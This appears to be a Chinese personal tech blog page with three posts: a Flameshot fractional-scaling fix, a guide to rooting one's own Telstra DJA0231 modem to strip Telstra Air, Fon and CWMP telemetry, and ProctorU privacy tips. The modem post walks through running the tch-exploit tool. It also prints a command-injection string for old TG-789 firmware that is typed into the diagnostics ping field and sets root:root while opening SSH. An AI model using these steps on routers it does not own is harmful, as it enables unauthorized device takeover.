Posts

修复Linux下Flameshot在4k/5k屏幕下无法正常截图的问题

Wed, 20 Oct 2021 08:16:42 +0000

Flameshot的高分辨率屏幕bug

使用Flameshot期间发现了最新版(v0.10.1 - 4e406ec )在Linux环境下安装了以后没办法正常截图。表现为一旦点截图，屏幕全黑——是直接black screen，屏幕信号消失。狂按ESC后恢复。

恢复以后再次点截图到是不黑屏了，但是可截图区域只有实际屏幕大小的1.5倍（此处猜测和QT程序在非整数倍缩放有关），而我此刻缩放比例恰恰是设置在了150%

确认Bug

Opensource最大的好处就是源码随便看，这个截图程序本来就不大，我看了一下发现大部分和截图操作有关的逻辑都是Qt写的：

flameshot/screengrabber.cpp at master · flameshot-org/flameshot

Powerful yet simple to use screenshot software :desktop_computer: :camera_flash: - flameshot/screengrabber.cpp at master · flameshot-org/flameshot

GitHub · flameshot-org

同时我看到open ticket当中也有人反馈类似的问题：

Fails when fractional scaling <> 100% · Issue #564 · flameshot-org/flameshot

Ubuntu 19.04 supports fractional scaling on Wayland and Xorg. When using a factor that is not the default (like 150%, for instance on a HiDPI display), and trying to capture a screenshot with flame...

GitHub · flameshot-org

2019年有人提出这个bug开始，这个问题一直都没有被修复。

修复Flameshot的尝试

先尝试了设置系统缩放=100%和200%，4K/5K屏幕下Flameshot均能正常使用。基本说明猜测八九不离十是没错的了。

这个问题的根本原因是Qt对非整数倍缩放支持一直都有问题，Qt 5.6后来加入了DPI awareness去解决这个问题。但是因为各种原因很多软件并没有开启支持：

QT_AUTO_SCREEN_SCALE_FACTOR [boolean] enables automatic scaling, based on the monitor's pixel density. This won't change the size of point-sized fonts, since point is a physical measurement unit. Multiple screens may get different scale factors.

– Source: https://doc.qt.io/qt-5/highdpi.html

而根据作者的信息我们可以清楚的知道flameshot所用的Qt肯定是>= 5.6的，也就是肯定是支持DPI awareness的。

所以只要：

# 带QT_AUTO_SCREEN_SCALE_FACTOR=1启动
env QT_AUTO_SCREEN_SCALE_FACTOR=1 flameshot
# 测试是否可以正常使用
# 如果一切正常+别的软件没问题问题，可以考虑加到系统.profile文件中
echo "export QT_AUTO_SCREEN_SCALE_FACTOR=1" >> ~/.profile

重启，问题解决。

文中的截图就是Gnome 40+150%缩放截的，所有功能全部正常。就是稍微有点卡。

如何去除Telstra路由器中的Telstra Air服务和Fon WiFi

Sat, 16 Oct 2021 10:30:55 +0000

Telstra Smart Modem Gen 2（DJA0231）关个Telstra Air实在是太难了！

我刚开始使用Telstra的时候就遇到过这个问题：新路由到手，家里莫名其妙多了一个Telstra Air+Fon WiFi的热点。我曾经无数次通过Telstra Dashboard关闭它，每次它都会显示"Deactivating..." 然后又！变！回！了！

Active

。我只在刚使用Telstra之初，找了无数次客服，通过Telstra Perth（我也不知道为什么莫名其妙转去了Perth）的Engineering Team

成功关闭过一次

。我至今都不知道是如何关闭的，只知道是和一个Engineer通话以后成功关闭了这个神坑服务。

最近改了套餐以后这个服务又被莫名其妙的再次激活了。我无数次联系过Telstra的客服，他们真的只会说：

我帮你关了（其实并没有）
已经关了我看到工单了（那个单子没有关啊大哥）
我又帮你关了一次（完全没有）
我帮你问上级（然后杳无音讯）
你这个服务没办法关闭（那你第一次怎么关的？？）

0x00 关不掉的Telstra Air

本来想说忍忍算了，但是因为我多数时候在桥接模式使用Telstra Smart Modem Gen 2（DJA0231），它近距离同时和我桥接的Asus工作会明显的干扰到正常的WiFi使用（抢频段问题），IoT设备尤其明显。

事实上，就算我像大多数人一样直接使用Telstra给的路由器不做桥接，依然会对正常使用产生一定的干扰，游戏/视频通话突然的卡顿很多时候都和Telstra Air的访客接入有关。尤其是你在无线高负载访问内网用NAS，又或者链路质量一般你在接近满载跑WAN的时候有人连了你路由的Telstra Air——在用户路由器上加载这种服务（还关不掉！）真的就是丧心病狂的设计。

0x01 我黑我自己

做了一下功课，Telstra Smart Modem Gen 2（DJA0231）是属于相对比较容易root的Modem。

常见的漏洞及Hack方式在 hack-technicolor 有很全面的总结。以DJA0231为例，能通过已知漏洞中的tch-exploit 方式入侵。

1. 手动设置自己的IP为Static IP：

IPv4 Address: 58.162.0.1
Subnet Mask: 255.255.255.0
Default Gateway\Router: 58.162.0.1

2. 准备tch-exploit工具（假设你已经安装了nodejs）：

# 从github下载tch-exploit
git clone https://github.com/BoLaMN/tch-exploit.git
cd tch-exploit

# <你现在在tch-exploit文件夹根目录>
# 安装dependency+compile
npm install pkg coffee-script -g
npm install
npm run compile
npm run package

# 工具就绪 - 东西都在release文件夹里了，win/mac/linux全平台支持
cd release

（推荐）

reset一次（恢复出厂设置）。因为你如果你在bridge模式下，该root工具无法正常运作。

4. 网线接路由器的WAN口（土澳这些Modem WAN大部分是红色的），注意不是LAN口。逻辑是我们要假装自己是服务器利用DHCP+远程管理漏洞（CWMP），所以你要让Modem认为你是它的上游ISP服务器，所以做这一步的时候千万别接到了LAN口。

5. 用管理员权限（

Linux/Mac下请sudo

）执行release文件夹下的可执行文件，然后开始等待，大概1分钟左右开始出现滚屏，再1分钟左右提示按下WPS按钮5s左右，看到屏幕信息提示成功就完成了。

这个流程如果有问题，可以参考：https://github.com/BoLaMN/tch-exploit#full-example-with-windows-and-technicolor-dja0231

到此处，把网线插回LAN口+本机获得ip方式改回dynamic IP/Auto DHCP就大功告成了。

ssh root@192.168.0.1
# 密码也是root就能进去了

# 如果不行(新系统可能会提示KexAlgorithm不支持），请尝试下方命令连接：
ssh root@192.168.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1

# 登录进去第一件事把默认密码改了
passwd root

# 确保SSH只开放给LAN口用户（否则就分分钟公网爆破了）
uci set dropbear.wan.enable='0'
uci commit dropbear

0x02 删除Telstra Air和Fon WiFi

在Telstra制定的固件中，这两项服务主要以 /etc/init.d/hotspotd来提供服务。Root以后执掌一切生杀大权，赶紧杀了这个服务助助兴。

# 依次执行下方所有命令关闭Telstra Air和Fon WiFi
/etc/init.d/hotspotd stop
/etc/init.d/hotspotd disable
uci delete dhcp.hotspot
uci delete dhcp.fonopen
uci commit

Source: https://hack-technicolor.readthedocs.io/en/stable/Hardening/

杀完以后进入后台你会发现这两服务都黑了：

0x03 删除监控和奇怪的预留访问（后门？）

我摸索了一下发现一件有意思的事情：

/etc/dropbear/authorized_keys

DJA0231的固件是基于Openwrt的（事实上大部分NBN的Modem固件都是基于Openwrt的）。Dropbear包提供SSH服务（相当于常见Linux发行版的OpenSSH），遵循同样的逻辑我下意识看了一下 /etc/dropbear/authorized_keys 文件，直接好家伙，里面预留了一个TCH Debug Key和一个未知用途/来源的key。

第一个Key我假设是Technicolor粗心忘记删除了开发时候用的key好了，第二个Key是什么操作我真的不明白。我root过iiNet的另一个ISP Modem（见下节），其中是没有任何预授权Key的。

这种预留Auth Key的操作，要放在其他国内品牌被挖出来早就炸锅了。

除了这个坑以外，大家有否觉得奇怪为什么你在Telstra App当中查看连接路由的设备的时候iOS系统不给LAN权限它依然能获得完整的app列表？像这个功能：

Telstra莫名其妙的View my devices功能

既然Root了直接按照hack-technicolor的指南清理一波：

# 关闭 CWMP
uci delete cwmpd.cwmpd_config
uci delete firewall.cwmpd
uci del_list watchdog.@watchdog[0].pidfile='/var/run/cwmpd.pid'
uci del_list watchdog.@watchdog[0].pidfile='/var/run/cwmpevents.pid'
uci commit
/etc/init.d/watchdog-tch reload
/etc/init.d/cwmpd disable
/etc/init.d/cwmpd stop
/etc/init.d/cwmpdboot disable
/etc/init.d/cwmpdboot stop
# 关闭zkernelpanic（DJA0231最新的固件好像会报错不用管他）
/etc/init.d/zkernelpanic disable
/etc/init.d/zkernelpanic stop
# 关闭 CWMP 加强版 可能会报错但是不用管
uci set cwmpd.cwmpd_config.state=0
uci set cwmpd.cwmpd_config.acs_url='https://127.0.1.1:7547/'
uci set cwmpd.cwmpd_config.use_dhcp=0
uci set cwmpd.cwmpd_config.interface=loopback
uci set cwmpd.cwmpd_config.enforce_https=1
uci commit cwmpd
# 关闭 Telstra 的wifi/监控系统 - 真的我什么设备连接关你什么事啊
uci delete tls-vsparc.Config
uci delete tls-vsparc.Passive
uci delete autoreset.vsparc_enabled
uci delete autoreset.thor_enabled
uci delete wifi_doctor_agent.acs
uci delete wifi_doctor_agent.config
uci delete wifi_doctor_agent.as_config
uci commit

https://hack-technicolor.readthedocs.io/en/stable/Hardening/

清理完成以后，你再在app当中尝试这个功能，应该会获得以下提示：

提示说功能无法正常使用。说明这些冗余的监控应该是被清理掉了。

0x04 所以这些ISP路由有多脆弱？

有一说一，Telstra的Telstra Smart Modem Gen 2（DJA0231）在最新固件的加持下已经是相对安全的了。我倒腾了一下手头iiNet的ISP老Modem（TG-789），真的从连上到获得root

不超过10s

：

你连上运行老固件的TG-789（我的固件好像是17年的）
找到 Diagnostics，ping的目标输入：

:::::::;echo root:root | chpasswd; dropbear -p 6666;

https://github.com/mswhirl/autoflashgui

3. 好了用户名root，密码root，端口6666，去登录吧（来自 autoflashgui 的方案）

（不要问我为什么，我也不知道为什么iiNet那时候用了一个Demo build部署给了我的Modem，我拿到就是这样的）

所以如果你的ISP路由器有漏洞，简单的入侵并不是遥不可及的，也未必需要物理接触Modem。

0x05 一点建议

尽可能不要直接使用ISP送的路由器，你需要一个自己的路由器。部署网络的时候建议桥接连自己的路由器

或

Double NAT（把自己的路由器作为客户端挂载在Modem LAN口，然后把这个唯一的客户端设置成DMZ）
不要过于乐观的假设自己的网络环境是安全的（我在家使用家里的WiFi所以我是安全的），有条件的还是得挂上VPN。
没条件的尽可能做到DNS都上DoT/DoH+能HTTPS就HTTPS。路由一旦被入侵，没有加密的http流量在路由这一侧就是透明的。什么局域网登录个NAS都是什么账号密码、访问过哪些网站（DNS如果是不加密的就能记录所有访问结果了）。

上网课如何保护个人隐私 —— 和ProctorU斗智斗勇

Wed, 06 Jan 2021 02:41:58 +0000

为什么我担忧ProctorU的隐私问题

最近大家都在上网课，大部分学校监考都是通过ProctorU进行的，也许ProctorU就业务流程来说做的是最成熟的，但是用户体验来说学生群体真的大部分都在吐槽。

从Chrome的评分 vs 使用人数可见这个插件并不招人待见。大部分的评论集中于隐私担忧，因为这个插件索要的权限的确不是一般的多：

ProctorU也有试图解释自己这些权限的用途，但是解释的根本不到位，很多权限的用途是完全没有被解释的，尤其是有很多权限其实完全可以通过他们监考流程中的LogMeIn客户端实现（在开始考试后会要求运行一个LogMeIn客户端，而LogMeIn客户端有完整的屏幕分享、远程控制权限，既然有屏幕分享当然也能完整看到你访问的所有网站）

是的，ProctorU有隐私条款。但对于一个能接触到大量客户信息的商业公司，这个水平的隐私条款在我看来是过于模糊的。

问这样几个问题：

我的个人信息会被储存多久？多久叫做necessary？储存时是否加密？以何种合规方式进行储存？
谁对个人信息储存安全进行审计？以Google的企业服务为例，对Google的ISO 27001/ISO 27017/ISO 27018审计提供方是四大所之一的EY，那么对ProctorU进行审计的又是谁？
当ProctorU被入侵以后（来源1 ，来源2 ，来源3 ），回应为何如此模糊，就外泄内容的信息披露如此之少以至于我们只能从黑客提供的免费样本中知道哪些东西是确定被外泄了。

ProctorU的槽点真的很多，加之各种迷一样的业务流程，我觉得让学校弄几个TA开Zoom+LogMeIn以固定流程进行监考要靠谱的多。

如何自我保护

ProctorU槽点多，但是架不住学校非要用它（毕竟市场上目前没有更好的替代品），大家能做的只有加强自我保护。这里给大家如下简易保护建议：

方法一：制作自己专属的考试系统

ProctorU不允许大家使用虚拟机，所以要想完全给ProctorU创建一个独立的环境最理想的方法之一就是从不同的硬盘引导系统启动。买一块移动硬盘（SSD为佳，尽可能不要使用U盘，因为性能多数时候跟不上），这里比较推荐三星的T7 或者闪迪的Extreme PRO （500G远远够用了，亲测如果跑Latex/Python Jupyter之类也都没问题，可以适应绝大多数考试的性能要求）。

给移动硬盘装上Windows，该装什么都装齐，然后用Bitlocker把自己原来的系统加密起来（一键加密参见微软自带的教程：https://support.microsoft.com/en-us/windows/turn-on-device-encryption-0c453637-bc88-5f74-5105-741561aae838 ）。

完成以后从移动硬盘启动以后你应该能看得到原来的磁盘，但是无法在不解开Bitlocker锁的情况下进行访问，这样多数时候能防止监考人员在未经授权的情况下意外访问你电脑中的数据，毕竟有的监考人员能意外帮你把卷交了。虽然Bitlocker这类不透明的加密并非最优解，但是对于ProctorU监考这个场景基本够用。

方法二：同系统创建不同的用户

如果创建一个完全独立的系统过于复杂，相对容易的做法是建立一个新的普通用户，Windows/Mac都对不同用户之间的数据有一定的隔离，可以采用这个方式进行简易的隐私数据隔离。正常系统都有自己的权限控制体系，新的普通账户（非管理员）正常情况下并不能绕过系统的权限管理越界访问明确划归为另一个用户的数据。

方法三：不用ProctorU的时候卸掉插件

如果方法一和二都依然过于复杂，你可以至少尝试在不使用ProctorU插件的时候卸载掉它以避免不必要的数据收集，毕竟非考试场景时我们真的不需要它。

方法四：尽可能避免使用护照作为验证介质

ProctorU要求你提供有效的ID来验证身份，但是对个人信息保护所提甚少，我不但不知道我的ID是怎样被储存的（加密还是不加密？储存多久？谁都能访问这些信息？我们都不知道）。

我们能做的也只能是按照最坏的情况来进行打算——假设你有一个Photo ID不得不被泄漏给黑客，你会愿意是哪一个？如果是我，我觉得最不应该被泄漏的信息应当是护照——信息外泄的时候黑产使用这些信息的时候护照最容易被滥用且具有通用性（多个国家都能被使用）。因此如果你有合适的低价值Photo ID（如地方性的Photo ID/Age Proof Card，那些能且只能拿来某特定地区证明年龄的证件）会好过给护照。

以上希望对大家能有帮助。

更希望有更好的软件/服务能替代ProctorU，毕竟很多学校在用ProctorU真的是且只是因为没有其他选择。